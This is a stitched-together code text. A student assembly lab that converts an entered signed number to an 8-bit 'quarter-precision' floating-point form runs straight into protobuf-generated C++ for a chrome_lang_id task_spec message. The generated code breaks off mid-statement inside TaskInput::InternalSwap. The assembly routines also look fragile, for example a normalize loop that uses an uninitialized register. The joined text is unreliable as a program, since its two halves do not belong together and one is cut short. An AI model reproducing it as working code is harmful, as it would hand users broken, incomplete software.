; ----------------------------------------------------------------------------------------- ; getNumber: Accepts a series of decimal digits and builds a binary number using shift-add ; Input parameters: ; none. ; Output parameters: ; AL: Returns binary value of number in AL. ; ----------------------------------------------------------------------------------------- ; Constants used by this subroutine DONE .EQU 99 getNumber: ; FIXED -- complete entire subroutine push CX ; Save CX register mov CH, 0 ; Use CH for running sum mov CL, 10 ; Use CL for multiplier=10 loopGN: call getDigit ; get a digit cmp AL, ENTERK ; Check if user pressed ENTER je doneGN ; If so, we are done this subroutine push AX ; Save entered character onto stack mov AL,CH ; Copy running sum into AL mul CL ; Compute AX=sum*10 (then ignore AH) mov CH, AL ; Move running sum back into CH pop AX ; Restore saved character add CH,AL ; Add entered digit to shifted running sum jmp loopGN doneGN: mov AL, CH ; Put final sum into AL pop CX ; Restore CX RET ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Lab 10 code section ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; print: push SI push DX push CX mov CX, 8 mov DX, DISPLAY ploop: shl BL, 1 jnc zero mov AL, 31h jmp printnumber zero: mov AL, 30h printnumber: out DX, AL dec CX cmp CX, 0 jne ploop pop CX pop DX pop SI RET normalize: push AX looop: rcl CL, 1 inc BX jnc looop mov AL, 8 sub AL, BL add AL, 3 mov [EXP], AL mov [SUM], CL pop AX RET quarterprecisionform: mov AL, 0 mov CL, [SIGN] add AL, CL shl AL, 3 mov CL, [EXP] add AL, CL shl AL, 4 mov CL, [SUM] shr CL, 4 add AL, CL RET Message1: .DB 'Enter a number BW -33 to +33.$' ; FIXED -- Message to be printed on screen Message2: .DB 'Your normalized number is...$' ; --------------------------------------------------------------------------- ; Main function: Asks the user to enter a signed number between -MAX to +MAX ; Computes quarter-precision 8-bit IEEE-754 representation ; Uses printStr, newline, and getChar subroutines. ; --------------------------------------------------------------------------- main: mov SI, Message1 ; FIXED Print prompt call printStr ; FIXED call newLine ; FIXED part1: call getSign ; FIXED - call getSign to get +/- sign from keyboard mov [SIGN], AL ; FIXED - Save sign to global variable SIGN call getNumber ; FIXED - call getNumber to get the unsigned number mov [SUM], AL ; FIXED - Save number to global variable SUM part2: call normalize call quarterprecisionform mov BL, AL mov SI, Message2 call printStr call print HLT ; Quit .END main ; Entry point of program is main()
// Generated by the protocol buffer compiler. DO NOT EDIT! // source: task_spec.proto #include "task_spec.pb.h" #include <algorithm> #include <google/protobuf/io/coded_stream.h> #include <google/protobuf/extension_set.h> #include <google/protobuf/wire_format_lite.h> #include <google/protobuf/io/zero_copy_stream_impl_lite.h> // @@protoc_insertion_point(includes) #include <google/protobuf/port_def.inc> extern PROTOBUF_INTERNAL_EXPORT_task_5fspec_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_TaskInput_task_5fspec_2eproto; extern PROTOBUF_INTERNAL_EXPORT_task_5fspec_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskInput_Part_task_5fspec_2eproto; extern PROTOBUF_INTERNAL_EXPORT_task_5fspec_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskOutput_task_5fspec_2eproto; extern PROTOBUF_INTERNAL_EXPORT_task_5fspec_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskSpec_Parameter_task_5fspec_2eproto; namespace chrome_lang_id { class TaskInput_PartDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<TaskInput_Part> _instance; } _TaskInput_Part_default_instance_; class TaskInputDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<TaskInput> _instance; } _TaskInput_default_instance_; class TaskOutputDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<TaskOutput> _instance; } _TaskOutput_default_instance_; class TaskSpec_ParameterDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<TaskSpec_Parameter> _instance; } _TaskSpec_Parameter_default_instance_; class TaskSpecDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<TaskSpec> _instance; } _TaskSpec_default_instance_; } // namespace chrome_lang_id static void InitDefaultsscc_info_TaskInput_task_5fspec_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::chrome_lang_id::_TaskInput_default_instance_; new (ptr) ::chrome_lang_id::TaskInput(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_TaskInput_task_5fspec_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 1, 0, InitDefaultsscc_info_TaskInput_task_5fspec_2eproto}, { &scc_info_TaskInput_Part_task_5fspec_2eproto.base,}}; static void InitDefaultsscc_info_TaskInput_Part_task_5fspec_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::chrome_lang_id::_TaskInput_Part_default_instance_; new (ptr) ::chrome_lang_id::TaskInput_Part(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskInput_Part_task_5fspec_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_TaskInput_Part_task_5fspec_2eproto}, {}}; static void InitDefaultsscc_info_TaskOutput_task_5fspec_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::chrome_lang_id::_TaskOutput_default_instance_; new (ptr) ::chrome_lang_id::TaskOutput(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskOutput_task_5fspec_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_TaskOutput_task_5fspec_2eproto}, {}}; static void InitDefaultsscc_info_TaskSpec_task_5fspec_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::chrome_lang_id::_TaskSpec_default_instance_; new (ptr) ::chrome_lang_id::TaskSpec(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<3> scc_info_TaskSpec_task_5fspec_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 3, 0, InitDefaultsscc_info_TaskSpec_task_5fspec_2eproto}, { &scc_info_TaskSpec_Parameter_task_5fspec_2eproto.base, &scc_info_TaskInput_task_5fspec_2eproto.base, &scc_info_TaskOutput_task_5fspec_2eproto.base,}}; static void InitDefaultsscc_info_TaskSpec_Parameter_task_5fspec_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::chrome_lang_id::_TaskSpec_Parameter_default_instance_; new (ptr) ::chrome_lang_id::TaskSpec_Parameter(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_TaskSpec_Parameter_task_5fspec_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_TaskSpec_Parameter_task_5fspec_2eproto}, {}}; namespace chrome_lang_id { // =================================================================== class TaskInput_Part::_Internal { public: using HasBits = decltype(std::declval<TaskInput_Part>()._has_bits_); static void set_has_file_pattern(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_file_format(HasBits* has_bits) { (*has_bits)[0] |= 2u; } static void set_has_record_format(HasBits* has_bits) { (*has_bits)[0] |= 4u; } }; TaskInput_Part::TaskInput_Part(::PROTOBUF_NAMESPACE_ID::Arena* arena) : ::PROTOBUF_NAMESPACE_ID::MessageLite(arena) { SharedCtor(); RegisterArenaDtor(arena); // @@protoc_insertion_point(arena_constructor:chrome_lang_id.TaskInput.Part) } TaskInput_Part::TaskInput_Part(const TaskInput_Part& from) : ::PROTOBUF_NAMESPACE_ID::MessageLite(), _has_bits_(from._has_bits_) { _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); file_pattern_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_file_pattern()) { file_pattern_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_file_pattern(), GetArena()); } file_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_file_format()) { file_format_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_file_format(), GetArena()); } record_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_record_format()) { record_format_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_record_format(), GetArena()); } // @@protoc_insertion_point(copy_constructor:chrome_lang_id.TaskInput.Part) } void TaskInput_Part::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_TaskInput_Part_task_5fspec_2eproto.base); file_pattern_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); record_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } TaskInput_Part::~TaskInput_Part() { // @@protoc_insertion_point(destructor:chrome_lang_id.TaskInput.Part) SharedDtor(); _internal_metadata_.Delete<std::string>(); } void TaskInput_Part::SharedDtor() { GOOGLE_DCHECK(GetArena() == nullptr); file_pattern_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_format_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); record_format_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void TaskInput_Part::ArenaDtor(void* object) { TaskInput_Part* _this = reinterpret_cast< TaskInput_Part* >(object); (void)_this; } void TaskInput_Part::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) { } void TaskInput_Part::SetCachedSize(int size) const { _cached_size_.Set(size); } const TaskInput_Part& TaskInput_Part::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_TaskInput_Part_task_5fspec_2eproto.base); return *internal_default_instance(); } void TaskInput_Part::Clear() { // @@protoc_insertion_point(message_clear_start:chrome_lang_id.TaskInput.Part) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000007u) { if (cached_has_bits & 0x00000001u) { file_pattern_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000002u) { file_format_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000004u) { record_format_.ClearNonDefaultToEmpty(); } } _has_bits_.Clear(); _internal_metadata_.Clear<std::string>(); } const char* TaskInput_Part::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // optional string file_pattern = 7; case 7: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 58)) { auto str = _internal_mutable_file_pattern(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string file_format = 8; case 8: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 66)) { auto str = _internal_mutable_file_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string record_format = 9; case 9: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 74)) { auto str = _internal_mutable_record_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, _internal_metadata_.mutable_unknown_fields<std::string>(), ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* TaskInput_Part::_InternalSerialize( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:chrome_lang_id.TaskInput.Part) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // optional string file_pattern = 7; if (cached_has_bits & 0x00000001u) { target = stream->WriteStringMaybeAliased( 7, this->_internal_file_pattern(), target); } // optional string file_format = 8; if (cached_has_bits & 0x00000002u) { target = stream->WriteStringMaybeAliased( 8, this->_internal_file_format(), target); } // optional string record_format = 9; if (cached_has_bits & 0x00000004u) { target = stream->WriteStringMaybeAliased( 9, this->_internal_record_format(), target); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = stream->WriteRaw(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).data(), static_cast<int>(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size()), target); } // @@protoc_insertion_point(serialize_to_array_end:chrome_lang_id.TaskInput.Part) return target; } size_t TaskInput_Part::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:chrome_lang_id.TaskInput.Part) size_t total_size = 0; ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000007u) { // optional string file_pattern = 7; if (cached_has_bits & 0x00000001u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_file_pattern()); } // optional string file_format = 8; if (cached_has_bits & 0x00000002u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_file_format()); } // optional string record_format = 9; if (cached_has_bits & 0x00000004u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_record_format()); } } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { total_size += _internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size(); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void TaskInput_Part::CheckTypeAndMergeFrom( const ::PROTOBUF_NAMESPACE_ID::MessageLite& from) { MergeFrom(*::PROTOBUF_NAMESPACE_ID::internal::DownCast<const TaskInput_Part*>( &from)); } void TaskInput_Part::MergeFrom(const TaskInput_Part& from) { // @@protoc_insertion_point(class_specific_merge_from_start:chrome_lang_id.TaskInput.Part) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x00000007u) { if (cached_has_bits & 0x00000001u) { _internal_set_file_pattern(from._internal_file_pattern()); } if (cached_has_bits & 0x00000002u) { _internal_set_file_format(from._internal_file_format()); } if (cached_has_bits & 0x00000004u) { _internal_set_record_format(from._internal_record_format()); } } } void TaskInput_Part::CopyFrom(const TaskInput_Part& from) { // @@protoc_insertion_point(class_specific_copy_from_start:chrome_lang_id.TaskInput.Part) if (&from == this) return; Clear(); MergeFrom(from); } bool TaskInput_Part::IsInitialized() const { return true; } void TaskInput_Part::InternalSwap(TaskInput_Part* other) { using std::swap; _internal_metadata_.Swap<std::string>(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); file_pattern_.Swap(&other->file_pattern_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); file_format_.Swap(&other->file_format_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); record_format_.Swap(&other->record_format_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); } std::string TaskInput_Part::GetTypeName() const { return "chrome_lang_id.TaskInput.Part"; } // =================================================================== class TaskInput::_Internal { public: using HasBits = decltype(std::declval<TaskInput>()._has_bits_); static void set_has_name(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_creator(HasBits* has_bits) { (*has_bits)[0] |= 2u; } static void set_has_multi_file(HasBits* has_bits) { (*has_bits)[0] |= 4u; } static bool MissingRequiredFields(const HasBits& has_bits) { return ((has_bits[0] & 0x00000001) ^ 0x00000001) != 0; } }; TaskInput::TaskInput(::PROTOBUF_NAMESPACE_ID::Arena* arena) : ::PROTOBUF_NAMESPACE_ID::MessageLite(arena), file_format_(arena), record_format_(arena), part_(arena) { SharedCtor(); RegisterArenaDtor(arena); // @@protoc_insertion_point(arena_constructor:chrome_lang_id.TaskInput) } TaskInput::TaskInput(const TaskInput& from) : ::PROTOBUF_NAMESPACE_ID::MessageLite(), _has_bits_(from._has_bits_), file_format_(from.file_format_), record_format_(from.record_format_), part_(from.part_) { _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_name()) { name_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_name(), GetArena()); } creator_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_creator()) { creator_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_creator(), GetArena()); } multi_file_ = from.multi_file_; // @@protoc_insertion_point(copy_constructor:chrome_lang_id.TaskInput) } void TaskInput::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_TaskInput_task_5fspec_2eproto.base); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); creator_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); multi_file_ = false; } TaskInput::~TaskInput() { // @@protoc_insertion_point(destructor:chrome_lang_id.TaskInput) SharedDtor(); _internal_metadata_.Delete<std::string>(); } void TaskInput::SharedDtor() { GOOGLE_DCHECK(GetArena() == nullptr); name_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); creator_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void TaskInput::ArenaDtor(void* object) { TaskInput* _this = reinterpret_cast< TaskInput* >(object); (void)_this; } void TaskInput::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) { } void TaskInput::SetCachedSize(int size) const { _cached_size_.Set(size); } const TaskInput& TaskInput::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_TaskInput_task_5fspec_2eproto.base); return *internal_default_instance(); } void TaskInput::Clear() { // @@protoc_insertion_point(message_clear_start:chrome_lang_id.TaskInput) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; file_format_.Clear(); record_format_.Clear(); part_.Clear(); cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000003u) { if (cached_has_bits & 0x00000001u) { name_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000002u) { creator_.ClearNonDefaultToEmpty(); } } multi_file_ = false; _has_bits_.Clear(); _internal_metadata_.Clear<std::string>(); } const char* TaskInput::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // required string name = 1; case 1: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) { auto str = _internal_mutable_name(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string creator = 2; case 2: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) { auto str = _internal_mutable_creator(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // repeated string file_format = 3; case 3: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 26)) { ptr -= 1; do { ptr += 1; auto str = _internal_add_file_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<26>(ptr)); } else goto handle_unusual; continue; // repeated string record_format = 4; case 4: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 34)) { ptr -= 1; do { ptr += 1; auto str = _internal_add_record_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<34>(ptr)); } else goto handle_unusual; continue; // optional bool multi_file = 5 [default = false]; case 5: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 40)) { _Internal::set_has_multi_file(&has_bits); multi_file_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint64(&ptr); CHK_(ptr); } else goto handle_unusual; continue; // repeated group Part = 6 { ... }; case 6: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 51)) { ptr -= 1; do { ptr += 1; ptr = ctx->ParseGroup(_internal_add_part(), ptr, 51); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<51>(ptr)); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, _internal_metadata_.mutable_unknown_fields<std::string>(), ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* TaskInput::_InternalSerialize( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:chrome_lang_id.TaskInput) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required string name = 1; if (cached_has_bits & 0x00000001u) { target = stream->WriteStringMaybeAliased( 1, this->_internal_name(), target); } // optional string creator = 2; if (cached_has_bits & 0x00000002u) { target = stream->WriteStringMaybeAliased( 2, this->_internal_creator(), target); } // repeated string file_format = 3; for (int i = 0, n = this->_internal_file_format_size(); i < n; i++) { const auto& s = this->_internal_file_format(i); target = stream->WriteString(3, s, target); } // repeated string record_format = 4; for (int i = 0, n = this->_internal_record_format_size(); i < n; i++) { const auto& s = this->_internal_record_format(i); target = stream->WriteString(4, s, target); } // optional bool multi_file = 5 [default = false]; if (cached_has_bits & 0x00000004u) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteBoolToArray(5, this->_internal_multi_file(), target); } // repeated group Part = 6 { ... }; for (unsigned int i = 0, n = static_cast<unsigned int>(this->_internal_part_size()); i < n; i++) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite:: InternalWriteGroup(6, this->_internal_part(i), target, stream); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = stream->WriteRaw(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).data(), static_cast<int>(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size()), target); } // @@protoc_insertion_point(serialize_to_array_end:chrome_lang_id.TaskInput) return target; } size_t TaskInput::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:chrome_lang_id.TaskInput) size_t total_size = 0; // required string name = 1; if (_internal_has_name()) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_name()); } ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; // repeated string file_format = 3; total_size += 1 * ::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(file_format_.size()); for (int i = 0, n = file_format_.size(); i < n; i++) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( file_format_.Get(i)); } // repeated string record_format = 4; total_size += 1 * ::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(record_format_.size()); for (int i = 0, n = record_format_.size(); i < n; i++) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( record_format_.Get(i)); } // repeated group Part = 6 { ... }; total_size += 2UL * this->_internal_part_size(); for (const auto& msg : this->part_) { total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::GroupSize(msg); } cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000006u) { // optional string creator = 2; if (cached_has_bits & 0x00000002u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_creator()); } // optional bool multi_file = 5 [default = false]; if (cached_has_bits & 0x00000004u) { total_size += 1 + 1; } } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { total_size += _internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size(); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void TaskInput::CheckTypeAndMergeFrom( const ::PROTOBUF_NAMESPACE_ID::MessageLite& from) { MergeFrom(*::PROTOBUF_NAMESPACE_ID::internal::DownCast<const TaskInput*>( &from)); } void TaskInput::MergeFrom(const TaskInput& from) { // @@protoc_insertion_point(class_specific_merge_from_start:chrome_lang_id.TaskInput) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; file_format_.MergeFrom(from.file_format_); record_format_.MergeFrom(from.record_format_); part_.MergeFrom(from.part_); cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x00000007u) { if (cached_has_bits & 0x00000001u) { _internal_set_name(from._internal_name()); } if (cached_has_bits & 0x00000002u) { _internal_set_creator(from._internal_creator()); } if (cached_has_bits & 0x00000004u) { multi_file_ = from.multi_file_; } _has_bits_[0] |= cached_has_bits; } } void TaskInput::CopyFrom(const TaskInput& from) { // @@protoc_insertion_point(class_specific_copy_from_start:chrome_lang_id.TaskInput) if (&from == this) return; Clear(); MergeFrom(from); } bool TaskInput::IsInitialized() const { if (_Internal::MissingRequiredFields(_has_bits_)) return false; return true; } void TaskInput::InternalSwap(TaskInput* other) { using std::swap; _internal_metadata_.Swap<std::string>(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); file_format_.InternalSwap(&other->file_format_); record_format_.InternalSwap(&other->record_format_); part_.InternalSwap(&other->part_); name_.Swap(&other->name_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); creator_.Swap(&other->creator_, 